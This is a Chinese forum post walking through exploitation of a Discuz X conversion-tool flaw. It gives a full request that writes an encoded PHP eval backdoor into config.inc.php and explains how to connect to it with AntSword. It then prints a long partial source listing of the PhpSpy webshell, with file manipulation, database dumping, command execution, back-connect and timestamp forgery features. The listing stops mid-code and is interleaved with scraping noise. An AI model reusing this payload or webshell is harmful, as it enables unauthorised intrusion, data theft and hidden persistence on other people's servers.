找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 7640|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

983

主题

83

回帖

5万

积分

管理员

积分
53122
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:  U* h& T* s# ?& I2 y" R
想要拿下一台主机A的权限:
( G0 u" j6 q0 q& O: g, t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
3 p. A3 U+ L0 v: f0 u; ^2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
4 P1 Y9 z2 Y& [1 L7 h3、传上去后,得到apache用户普通权限,再提权成root
, m; q" A$ ]  q概述:) R$ c) ^9 h9 C+ z
这突破在一个DZ X系列自带的转换工具里面。
6 }; C. c$ E) ]+ r7 J漏洞路径:utility / convert / data / config.inc.php% b: p- @" k2 v+ X
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
; u/ `& t% m* O  N; t/ y) S触发突破过程:
6 h, Z+ T" }1 f1 b) M1 V1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  - |: m* |" t9 A$ W7 L' m
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序! n, X! ]" p" P) O" T7 M
攻击过程:0 B, o* n& r+ k- Y( R
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
4 B5 ^# Z' W+ |* X6 `9 R+ W& y" |  v- s0 i

  ~, ?, N2 g! }7 x. N6 Q7 @2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马; O% G' |* O, z$ ^) e. j
$ ^* |3 b, B/ _3 ?" |
8、通过中国蚁剑上传大码/ d$ f! n0 s0 p+ b* I" j
0 O+ S0 ?5 E  }

5 \$ h, F2 v+ m# L5 R: |: o10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php, H0 ?( N; d4 r  U7 x

  2. , _" U! T7 n* v. D2 d' C
  3. /*****************************************************************************
    & C* [2 X" M& x  a6 w' @: p1 q3 X
  4. 5 r0 m( F& \: ~. C4 u
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    8 x, {% c. _* K4 w
  6. , T$ [( V$ |7 z- a- H3 R- ~
  7. ====- a4 @  I" f# T3 b6 c3 L0 v

  8. ( c- K6 v5 j3 Y7 F% U' {; o' U
  9. / `3 F% K/ F" q) y+ y
  10. *****************************************************************************/
    1 ]; \3 s" L0 t1 S, @

  11. . Z" i; f% E' |9 D# Y, E3 h
  12. error_reporting(7);& Z5 Y* A7 W6 t7 x7 j1 q' F; U
  13. @set_magic_quotes_runtime(0);+ U" Y& r- t; I6 X, Y+ |' r  K3 P$ T
  14. ob_start();4 s/ ~+ T" K, j2 I1 l
  15. $mtime = explode(' ', microtime());5 G" Z4 C$ p( ^7 C5 Z% s4 u' R) X
  16. $starttime = $mtime[1] + $mtime[0];
    + j1 Q! y, F- H+ s7 }& @
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');: `" _2 l& h1 L
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
    8 ?$ A& D) q( K( O
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');6 g$ }3 t* u1 h* ]1 r8 T  e, a
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    + ]% {7 P! K' H! \- E9 I- i
  21. define('IS_GPC', get_magic_quotes_gpc());
    " A  O+ y& I# n. L& t3 O$ z
  22. $dis_func = get_cfg_var('disable_functions');
    9 P9 A; Y$ X1 f
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );/ b0 u5 W7 {+ t/ Y4 ~6 E
  24. @set_time_limit(0);$ p9 ^" x% M( x7 e' q0 b# b) ~6 a

  25. * c  f& @9 ~. C0 o
  26. foreach(array('_GET','_POST') as $_request) {
    ) @- m( ~, ]9 y0 K$ t
  27.         foreach($$_request as $_key => $_value) {
    ' x" R0 |1 L) B+ c& E
  28.                 if ($_key{0} != '_') {/ F8 n1 K. {' O+ j; Y0 u8 ~+ `
  29.                         if (IS_GPC) {3 p+ _/ @- H/ O* ^& |$ ^
  30.                                 $_value = s_array($_value);
    ; ^) n+ B  K, v( L, q
  31.                         }6 J. ^4 h, e; o1 U. w, k
  32.                         $$_key = $_value;+ r% R% J; n6 C- m8 b( k
  33.                 }
    / r1 z0 ^/ x, W6 D3 [$ g
  34.         }7 d4 d  D, T% {1 z3 ~
  35. }; f8 Y" h0 }: w- o- X( @/ b' H& P3 [

  36. 6 H3 S& Z6 @6 L* B/ z% W( T) {
  37. /*===================== 程序配置 =====================*/1 k5 c7 A( f* z/ [# K
  38. $admin = array();2 L' e7 _4 K+ ~2 Z7 e3 Q4 @% [; s
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    5 I. T& n7 v% H/ V* a# _. ]5 {& H
  40. $admin['check'] = true;, [, v* H' R" ]3 d" O
  41. // 如果需要密码验证,请修改登陆密码
    3 r& A! R# [1 h1 D
  42. $admin['pass']  = 'xuegod';+ G6 I5 x) m! l' A* J
  43. + Z$ T+ r( j- ?1 E
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认: B/ z0 R/ U# \8 T1 ?
  45. // cookie 前缀
    ; L: u& C2 Y+ l0 z
  46. $admin['cookiepre'] = '';
    ( y8 c3 ~, j# I
  47. // cookie 作用域
    & d; h3 E- K+ g/ j
  48. $admin['cookiedomain'] = '';5 ^5 K  n4 e, c4 ~: p6 N
  49. // cookie 作用路径% H! G/ s" h: b. V3 J
  50. $admin['cookiepath'] = '/';/ H# l3 ?) J) ~9 u
  51. // cookie 有效期
    $ ]3 l1 O8 m: F, T# v8 c9 @9 s0 }
  52. $admin['cookielife'] = 86400;
    9 t0 {) U2 Y1 [/ |
  53. /*===================== 配置结束 =====================*/
    % j5 |8 F4 R3 G9 L# e  @
  54. 2 g" i. x9 H; U3 i8 b
  55. if ($charset == 'utf8') {3 ^- G, w; j! f2 v% M- \4 \* G
  56.         header("content-Type: text/html; charset=utf-8");$ c5 b& ^/ C4 u
  57. } elseif ($charset == 'big5') {9 a8 W0 r+ C. `3 l! d) |6 _
  58.         header("content-Type: text/html; charset=big5");! {: [4 u+ Q9 L9 }7 N. r& `# ?
  59. } elseif ($charset == 'gbk') {
    . c- W1 R! K, A7 Z
  60.         header("content-Type: text/html; charset=gbk");( X' i' _" l- |
  61. } elseif ($charset == 'latin1') {
    " p  ~8 [2 J1 w6 F( Z
  62.         header("content-Type: text/html; charset=iso-8859-2");
    4 {% f% |; q  j& F" ?
  63. }; u( o6 V3 D: M: c

  64. + \+ O! b- ?3 K+ E: ~8 X/ o
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];0 g/ ~3 D- P0 E
  66. $timestamp = time();4 L$ q- `3 J- i1 z4 M4 M0 V, U

  67. 4 c0 B0 t! r# G  W. E0 b5 A
  68. /*===================== 身份验证 =====================*/
    ; a+ g% ^3 d# C9 J9 m+ ?5 X
  69. if ($action == "logout") {" E8 p/ p9 R/ E$ L+ D/ q1 R
  70.         scookie('phpspypass', '', -86400 * 365);: o9 Q( ~- _) d7 W
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    3 f( ^$ _% L: G" d" A" a* O1 u
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');; i" S8 }; R# Y  c' j
  73.         exit;
    & i/ V7 q3 c1 p# _; [
  74. }
    * X& g. p- U+ r
  75. if($admin['check']) {. J2 S4 q4 f: g
  76.         if ($doing == 'login') {% ^9 [4 {/ G4 H  N! R$ N* ~: `
  77.                 if ($admin['pass'] == $password) {
    ) b8 }. F, P5 ]  P7 r7 G& Q% g
  78.                         scookie('phpspypass', $password);8 Z: P" ~$ n4 J9 M0 F
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    7 @9 u" I/ a$ j8 p' ]
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ! p& s1 m1 j" U5 `7 u+ x+ G" p
  81.                         exit;
    9 }, K+ m3 m( `6 {. g& C
  82.                 }+ ^/ o1 i! U5 U; z4 Y  v/ g; `
  83.         }: ^9 b- w' ~4 P/ F) }- K
  84.         if ($_COOKIE['phpspypass']) {
    ( O& |6 w( ^  `
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {* R* {; J6 x9 L3 \* `  L
  86.                         loginpage();7 H5 i8 [! Q  S$ J  y+ {
  87.                 }! ]2 o+ {5 M% m$ C  I) |
  88.         } else {
    + a! I; R4 z& U8 z
  89.                 loginpage();
    : ]5 j& G2 q! x0 [
  90.         }
    8 P# L# l. G4 T' Y1 ^
  91. }# Y( E- a6 z  G# V& ?: y6 L
  92. /*===================== 验证结束 =====================*/0 B$ [7 o5 Q; E$ N: P
  93. ; w6 n8 W9 o  X; {" h
  94. $errmsg = '';5 h/ b) u$ ~' @8 t2 m

  95. 0 t3 K1 V$ l* f4 A  s2 p
  96. // 查看PHPINFO2 ^$ b( F1 G4 i# l7 Z4 q  Y
  97. if ($action == 'phpinfo') {
    - w" g2 P( h& c, i+ C
  98.         if (IS_PHPINFO) {% d4 B" c2 ]1 D+ n
  99.                 phpinfo();+ \- v# \* Q* N0 ?3 G. M
  100.         } else {
    ) p, b2 P. j9 n7 S7 I
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    " {. f7 _8 U5 G4 X. o3 G: y/ q$ l
  102.         }
    ; P0 Z( o6 I8 F
  103. }8 k( y. f* J/ [7 b$ p8 E; y- {

  104. 9 r) l2 l% k5 m5 t- ^1 x% O
  105. // 下载文件. u# E& o, F4 i' ?" |
  106. if ($doing == 'downfile' && $thefile) {
    ! u1 u. O* D5 }0 E
  107.         if (!@file_exists($thefile)) {% J4 ?) t/ z7 I
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';  V: N& X( `3 H; {
  109.         } else {
    ! f  @2 Y  C* @! V6 g1 t
  110.                 $fileinfo = pathinfo($thefile);
    : q0 p! s  B! N- L2 w- h: o
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    % Y% p6 P# O) c! r3 n+ [
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    - ]% ]) a* d& ]) t6 j- Y- O% \* Z8 D
  113.                 header('Content-Length: '.filesize($thefile));
    8 B/ i9 ?/ X" ]* p) o% V- e
  114.                 @readfile($thefile);* G+ g: W8 d7 ?2 O
  115.                 exit;( `' J' M9 e% ~5 N% o$ A# y' p
  116.         }7 {9 M6 `" i& Y% @
  117. }9 j" Z  f0 i) `+ @" Y. N4 p
  118. ; a3 l  I0 W& T% a7 N& P& g* q. @; g
  119. // 直接下载备份数据库
    : L- p" W  \* ~# R0 [( d" l
  120. if ($doing == 'backupmysql' && !$saveasfile) {3 d6 x+ j5 h  d3 A. O% k
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);* d" @* W- r5 R) J
  122.         $table = array_flip($table);
    : r: I: h6 p4 g" G2 H# @
  123.         $result = q("SHOW tables");; O) F; F9 m, y) }% N
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');4 Q/ W- \0 T5 t6 r& [* p0 R, Z
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    % {! P& n/ \/ A* i: w( J
  126.         header('Content-type: application/unknown');1 x/ w& L' [$ |; d$ n) P
  127.         header('Content-Disposition: attachment; filename='.$filename);, N3 ~* L1 ^( o: A
  128.         $mysqldata = '';( g  i* I( n  l+ H- ~' J
  129.         while ($currow = mysql_fetch_array($result)) {
    9 b8 n9 q# H, \3 `2 C
  130.                 if (isset($table[$currow[0]])) {
    - P: N6 i0 D' J3 A: d. ~4 M$ j
  131.                         $mysqldata .= sqldumptable($currow[0]);9 H, G! Z+ ^( ^) G9 X+ u7 B& _
  132.                 }
    * @0 T! Q5 N; L. f) }
  133.         }& x/ j& [8 G6 {0 ~
  134.         mysql_close();/ }2 }- j9 S9 Y4 F: V. C: q; Z* T; P0 L
  135.         exit;  V1 z: [$ H, R6 A  S
  136. }4 ?" q; n7 e! a1 b6 z. ?
  137. / Q: d" M5 L' L$ T$ t& W% A4 m
  138. // 通过MYSQL下载文件  ?$ m+ b6 ~* j: e
  139. if($doing=='mysqldown'){
    ) B( t2 o2 U9 r* q" ~
  140.         if (!$dbname) {
    - v$ c2 m" }6 K9 u4 t$ o0 e
  141.                 $errmsg = 'Please input dbname';% y" R( W$ _' F2 |, `
  142.         } else {
    / I  J; q7 L4 e4 ?# r. `4 F5 K& X* p
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);5 W4 O# z- n" V
  144.                 if (!file_exists($mysqldlfile)) {
    7 ^0 B0 G2 T; O+ n2 m; Z4 U
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';8 ?2 F9 V2 P* H/ |' J
  146.                 } else {
    " F6 q5 R# l; M/ }( a
  147.                         $result = q("select load_file('$mysqldlfile');");
    3 O# L) \+ ~6 K; C9 ?8 E9 B+ T
  148.                         if(!$result){
    % H/ W/ R% ?, _
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");
    7 ]* ]: F; I) t- T$ L3 A8 g/ D
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");5 ~4 j! u, O5 \/ q( G* i8 d
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况6 G$ O% C. V( T5 A+ L1 h
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    8 H3 r6 L+ |9 S
  153.                                 $result = q("select content from tmp_angel");
    + B3 ]' P: a  o
  154.                                 q("DROP TABLE tmp_angel");* ~7 S: D" ?8 S  \) V( |# z$ h
  155.                         }6 Z9 W- x& _/ }! C9 C
  156.                         $row = @mysql_fetch_array($result);
    7 P4 ~5 q' \  P! l# K1 y) z% b* n% q5 }
  157.                         if (!$row) {
    2 Q4 z$ N: y- ?& j; W" o! w
  158.                                 $errmsg = 'Load file failed '.mysql_error();$ N0 @/ \" V, w; u; u
  159.                         } else {' W8 k/ v4 B5 L% `! E; A( A
  160.                                 $fileinfo = pathinfo($mysqldlfile);0 g6 a( ]) l5 n( a- c9 I
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);1 h, U5 c2 _0 i9 ]
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);. `: Z2 H+ o+ G& @+ A0 w0 R; ?
  163.                                 header("Accept-Length: ".strlen($row[0]));
    * N1 I+ f; e' {. q
  164.                                 echo $row[0];
    4 h! U4 s4 ?$ u! `
  165.                                 exit;" K+ b! N( r/ m! a/ h
  166.                         }
    : E# K4 b$ r2 ]
  167.                 }
    1 w4 M. C2 H3 t2 `# \3 I. {
  168.         }5 ~* X/ g- c, m
  169. }! l5 H0 R. y  L0 g3 h6 m8 @

  170. " l0 e+ e6 }% b$ u9 I
  171. ?>/ p; E# g& G8 `6 l* c
  172. <html>
    7 X4 q% h0 B9 e; X$ |
  173. <head>
    . v' `. r4 J  }7 Z  q  |: D- _
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">& j+ g# E- c9 I* w" p6 I/ ~
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>, W* a; Z6 X8 {
  176. <style type="text/css">
    ; C! S' W) @2 F9 s) E' }; y
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    5 r8 [7 j8 C+ L: s, a& z4 c
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}9 F9 A) t5 Y* [4 r& w9 B9 y% O
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    " L, ?6 G% }/ y+ U1 K% J  n
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    5 Q8 @( Y" n8 o9 G
  181. a {color: #00f;text-decoration:underline;}; `9 i- R* I1 J2 Z" ]
  182. a:hover{color: #f00;text-decoration:none;}8 W8 L0 `9 A3 q' f( F; {* w) B
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
    ( ]3 _; ?" [& M  m# \- Z5 A
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}: b2 q) i: n* M3 [
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    & G5 ~% K+ b2 W1 \+ u
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}; e, v9 E4 q1 @
  187. .head td span{font-weight:normal;}
    % j/ q2 _4 x" `( ]
  188. form{margin:0;padding:0;}
    / w9 u7 U7 G, X0 J( q( _7 l4 o" }
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}" H8 X$ U3 r& i  P( z- P1 C
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    ' z4 i4 h& U, ~! Y/ x! i5 _- [
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}5 A+ }2 d* ?' B( H! h  y3 E( O
  192. </style>) {) T9 o- S0 V0 F
  193. <script type="text/javascript">: G* m# H3 t- B2 w0 k; Y
  194. function CheckAll(form) {
      O# I+ E8 Y. Q* P5 w. r9 C
  195.         for(var i=0;i<form.elements.length;i++) {' n  E& |6 A: N% m' m# M& P
  196.                 var e = form.elements[i];7 p. }3 t6 t( r" M; ]1 i
  197.                 if (e.name != 'chkall')- ^* W- Y, Y* {  n. V7 l. G. B) W
  198.                 e.checked = form.chkall.checked;% ^3 F% e2 c+ h
  199.     }- K" U4 p+ U% C( t, p, u/ e- O( S
  200. }; A( S( }% l. ~9 j1 F) G
  201. function $(id) {& y$ L: p! h2 E7 q7 h" T
  202.         return document.getElementById(id);
    % G# J2 B1 W% [/ B
  203. }
    8 `! k* t9 {& l1 q. W
  204. function goaction(act){( U; V" q& @' N' |( t" M9 M
  205.         $('goaction').action.value=act;. V0 y1 J0 ^: ^; ~& V7 F* C! v) g
  206.         $('goaction').submit();+ u5 Y0 Z, q9 ]- v
  207. }
    0 Z7 f$ L7 X$ `4 e2 @6 \9 X, ^% L6 Z
  208. </script>
    9 r2 U. h7 R3 Z: w5 K# s1 w& G' E7 k
  209. </head>
    - K, W9 o7 }) t# B, s& r8 A
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">, i8 T3 b/ }' O5 d2 E
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    / p/ V/ _9 @! J% z4 h# X
  212.         <tr class="head">1 D& A% y9 E# X) H2 D, _
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>; }, y( ^) h2 R! q& T3 A7 _/ ?
  214.         </tr>
    ) y  ?0 ]3 d' }9 N' _$ F6 N2 P
  215.         <tr class="alt1">
    9 g0 r6 H! z# n1 Z
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
    & ^6 @0 ?# E. n- D. z
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    % \: }- {1 C; E, @! E( f" Z
  218.                         <a href="javascript:goaction('file');">File Manager</a> | ! M$ B) c& P1 x' j& {/ A" j
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | ( Q1 s# b2 p% U2 p9 @5 {3 U8 P
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | ( D4 H; V* M8 H& `8 Z! n
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> |
    " x! w6 J# x6 t& I! u
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
      w6 u$ m, I& H+ v1 t
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>6 ?( x# k1 p) G9 c2 @) r  `
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>+ k, T" r- {3 u4 s
  225.                 </td>
    7 W" m- D  f* Y. G; ?
  226.         </tr>: m; H+ A- B, G8 i, ]' f6 Z! Z& h$ C
  227. </table>
    % n6 U  P4 v! c# G+ U
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>4 C) J/ X/ l! h/ B6 I# j6 Q* G
  229. <?php
    * }( a2 T9 z& b; O* C. n
  230. 0 X6 }; j$ Y, U; |5 n) E
  231. formhead(array('name'=>'goaction'));. N* Y: ~# S0 ]/ n0 ?  M$ R
  232. makehide('action');
    % E6 q3 ?: K, H; U, n
  233. formfoot();
    $ d4 s- }% g7 H& D3 |! N
  234. 1 D$ ?7 t7 g6 t
  235. $errmsg && m($errmsg);5 ?6 s' L) v' q
  236. 1 |$ \9 [$ R( z( H2 x3 W+ M
  237. // 获取当前路径; z) H+ J9 w9 c! @( a1 f& v7 u: Z- Z* C
  238. !$dir && $dir = '.';
    - O, ]4 c8 p- n/ X, O
  239. $nowpath = getPath(SA_ROOT, $dir);. g$ j' N8 y/ w' t  U% C' @) Y% s7 K
  240. if (substr($dir, -1) != '/') {
    3 F: k% h: H0 [$ n9 F) y
  241.         $dir = $dir.'/';
    . d8 g  p" M4 |4 ?2 F9 y
  242. }+ g+ [( C* d+ w: q$ s, n
  243. $uedir = ue($dir);! z" V7 g% ~& ~+ x. Q0 q1 F" [( a2 k

  244. 7 K9 t0 E! j8 a& B' O: X. M9 i
  245. if (!$action || $action == 'file') {* g$ v, Q, c5 P8 _' f

  246. ' A+ H, Y& m2 p0 d" t/ ]
  247.         // 判断读写情况
    " L/ c, g& h/ i% M7 y+ c5 I
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';% r1 c/ b. B( U! z

  249. . n. u. {. ?7 U: @/ D# J
  250.         // 删除目录
    ) u+ F# a. h7 \0 o
  251.         if ($doing == 'deldir' && $thefile) {- ^  x6 u& w9 [. o$ M
  252.                 if (!file_exists($thefile)) {* S$ ~% y6 r9 V1 I
  253.                         m($thefile.' directory does not exist');
    ! b9 x" E2 a/ X8 v5 x
  254.                 } else {( P! X: C& i% S* ~2 v' z) [
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));- z( X8 a0 a. ?( N! U
  256.                 }
    ; J1 F& W8 r' m; `. D3 _
  257.         }
    1 f8 U) A, F0 S" \

  258. 4 r, z0 a  X- E4 M: I# F4 `
  259.         // 创建目录; |& f% t1 \/ i' d- n
  260.         elseif ($newdirname) {2 H9 a6 V& w* ?+ d) X  n/ n
  261.                 $mkdirs = $nowpath.$newdirname;
    ) d; C4 o7 M. j2 y$ F9 D/ k1 E& g
  262.                 if (file_exists($mkdirs)) {" K4 v1 u1 E" Y( r
  263.                         m('Directory has already existed');
    ' s: [6 x  G# U1 b+ ]+ J3 [
  264.                 } else {& [8 F. b& h$ L4 c! [6 \
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));* u& I: k9 Q/ y6 o) N- S1 v8 `6 v
  266.                         @chmod($mkdirs,0777);
    7 U7 d2 [2 X5 w- B5 B
  267.                 }7 a6 G3 a1 `& r' P9 P
  268.         }
    3 \- R. d$ X+ Y  U1 [+ t0 I6 L

  269. % Z, I9 _& x* X
  270.         // 上传文件
    0 b" g, k5 i& f' o5 ~$ P
  271.         elseif ($doupfile) {7 G3 c3 W; d: M( U  d6 n
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));2 @& ]% ]0 a& C
  273.         }
    8 R6 y( J1 I, S0 `* t$ E: z

  274. + y) l6 w4 w! F. S0 M8 S/ x) h( D
  275.         // 编辑文件- @" E& o, T6 o4 Y4 m6 R
  276.         elseif ($editfilename && $filecontent) {, X; F* d2 d* s7 ?2 O
  277.                 $fp = @fopen($editfilename,'w');
    0 g2 Z, t- p/ ^. R- F+ J6 S2 I, f
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    ( Y9 ]8 A0 s$ N& s, w; R
  279.                 @fclose($fp);
    / i& |6 W  H) w: x
  280.         }: W( l2 J6 P7 ]
  281. ( T7 }0 a+ ^9 ~9 ?: H8 {; F$ S4 T
  282.         // 编辑文件属性
    : f) X# }" [9 m  u- W
  283.         elseif ($pfile && $newperm) {
    4 G' o0 d5 ?! e/ K
  284.                 if (!file_exists($pfile)) {
    # |- ]5 l5 R$ V* G
  285.                         m('The original file does not exist');
    " S: N$ |4 M' ^& Z8 V( L& X
  286.                 } else {
    0 i+ g- p. w: G: R1 y  T
  287.                         $newperm = base_convert($newperm,8,10);
    " f( j, }: F. ^# M) ]' l! t/ e
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));7 @  e$ a# @& a4 j( ]0 M
  289.                 }) x5 r/ J( j) y
  290.         }: ^# B( m8 c* k+ K
  291. / @' U% r. z  a' O
  292.         // 改名
    / |2 p2 D+ }) r6 I, a
  293.         elseif ($oldname && $newfilename) {
    7 M7 x8 s/ ^4 n8 ^
  294.                 $nname = $nowpath.$newfilename;
    + g0 w! L( ]7 C- H$ I
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    $ t7 m- V5 E) ~4 ^. X
  296.                         m($nname.' has already existed or original file does not exist');
    ( U/ t; j' o# n  i/ s
  297.                 } else {
    9 |- e) e: L) T7 f; ~
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    $ k9 W: w$ `' D: F9 W/ p
  299.                 }+ j( p) B  V3 L
  300.         }' r( j; u  y$ B* q6 i, ]% k' N/ ?
  301. ' E/ V3 }% T9 R5 u; m
  302.         // 复制文件# G+ ]% Z' X! d: U/ F
  303.         elseif ($sname && $tofile) {
    " m4 U, I& ~# _  c
  304.                 if (file_exists($tofile) || !file_exists($sname)) {. N1 ]6 E" M& e# N9 O
  305.                         m('The goal file has already existed or original file does not exist');, ^% D$ M9 X; R
  306.                 } else {. k: F4 w9 W& m1 E; a
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    5 c& k, D+ ^! S/ V
  308.                 }4 a( v) U9 W3 D
  309.         }+ l+ f" c( P7 }* d! R3 j3 I/ L# X
  310. 5 M( E* k8 s. J
  311.         // 克隆时间! f9 x1 Z; _  W- e. S
  312.         elseif ($curfile && $tarfile) {, ^# j0 k! X: N# U6 O
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {9 {2 p1 o6 p9 u$ G! c! q' T  O0 q3 }
  314.                         m('The goal file has already existed or original file does not exist');  p& T$ C9 ^* A. x  j! `$ x9 p' K
  315.                 } else {/ B6 u8 |5 C! K" B
  316.                         $time = @filemtime($tarfile);
    6 |% [0 u2 P# o$ c9 u3 s( S
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));  M; p' O& ?8 `# Q
  318.                 }# ^' j' K6 b% n4 w4 W
  319.         }; Y3 z: J# q# [( P& @
  320. : w; m/ a7 A$ Y' z( D
  321.         // 自定义时间1 R, W( A! L' f
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {9 M7 U% \; I1 ?* `  C- ?
  323.                 if (!@file_exists($curfile)) {7 T6 G: [7 p4 e
  324.                         m(basename($curfile).' does not exist');
    # W- Z' X4 [% B% S
  325.                 } else {5 n3 e: N% L& \7 e
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");
    - w0 ]/ a1 _4 w/ D* _- E3 P
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
